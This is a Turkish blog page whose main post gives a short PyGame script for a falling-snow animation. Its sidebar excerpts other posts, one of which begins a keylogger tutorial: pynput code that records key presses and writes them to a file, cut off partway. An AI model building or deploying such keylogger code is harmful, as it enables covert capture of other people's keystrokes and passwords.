Ana içeriğe atla

Python PyGame ile kar Yağma EFEKTİ

Merhaba dostlar bugün sizlere Python da oyun yapmamıza yardımcı olan 3. şahıs kütüphanesi olan PYGAME kütüphanesini kullanarak kar yağma efekti yapacağız kodlar aşağıdaki gibidir.



                     CODE


import pygame
import random

WHITE = [255, 255, 255]
BLACK = [0, 0, 0]
SIZE = [800, 400]

Screen = pygame.display.set_mode(SIZE)
pygame.display.set_caption("Kar Yağışı")

snowFall = []

for i in range(50):
    x = random.randint(0, 800)
    y = random.randint(0, 400)
    snowFall.append([x, y])

clock = pygame.time.Clock()
while True:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            break
    Screen.fill(BLACK)
    for i in range(len(snowFall)):
        pygame.draw.circle(Screen, WHITE, snowFall[i], 2)

        snowFall[i][1] += 1
        if snowFall[i][1] > 400:
           y = random.randint(-50, -10)
           snowFall[i][1] = y
           
           x = random.randint(0, 800)
           snowFall[i][0] = x
    pygame.display.flip()
    clock.tick(20)
pygame.quit()


Yorumlar

Bu blogdaki popüler yayınlar

Python Global Tool

 Merhaba dostlar bugün yeni bir Python projesi ile karşınızdayım Global Tool ismini verdiğimiz Pc Tool un güncel versiyonu olarak düşüne bilirsiniz ancak bu programdaki özellikler haftalık GitHub üzerinden yenilenecek ve  fazlalaştırılıcaktır bu projeye destek olmak için lütfen GitHub üzerinden iletişime geçin. Projeye gitmek için tıkla

İşinize kesin yarıyacak photoshop kısa yol tuşları

Merhaba dostlar bu gün sizlere bazı Adobe Photoshop 2020 sürümü kısa yol tuşlarını gösterdim  umarım işinize yarar. Ctrl + N                 Yeni bir çalışma alanı açar. Ctrl + S                 Yaptığınız çalışmayı kaydeder. Ctrl + Shift + S         Yaptığınız çalışmayı farklı kaydeder. Ctrl + Shift + Alt + S   Yaptığınız çalışmayı dışa aktarır. Ctrl + Z                 Çalışmada yaptığınız son değişikliği geri alır. Ctrl + Alt + Z           Çalışmada yaptığınız değişiklikleri en fazla 1000 kere geri alır. Ctrl + R                 Özellikle bir grafikerin kullandığı olmazsa olmaz photoshop özelliklerinden biridir Tab                      Araçları kaldırıp, çalışmayı tam ekran yapmanız...

Python ile Keyloger

Merhaba arkadaşlar bu yazıda Python programlama dilinde nasıl keyloger yapılır onu anlatıcam iyi okumalar           ------------------------------------Code------------------------------------ İlk önce CMD yi açıp  pip install pynput  yazıyoruz ardından Enther tuşuna basıyoruz sonrasında Derleyicimize aşşağıdaki kodları yazıyoruz bu kadar... import pynput   #modülümüzü ekliyoruz from pynput.keyboard import Key,Listener   #kullanacağımız değişken ve dizilerimiz sayac = 0 keys = []   #tuşa basılma eylemi gerçekleştiğinde def on_press ( key ):     global sayac,keys     sayac += 1     #basılan tuşu yaz     print ( " {0} pressed" .format(key))     #diziye ekle     keys.append(key)       #Gelen tuşları kayıt altına alalım     if sayac >= 10 :         sayac = 0         write_file(keys)       ...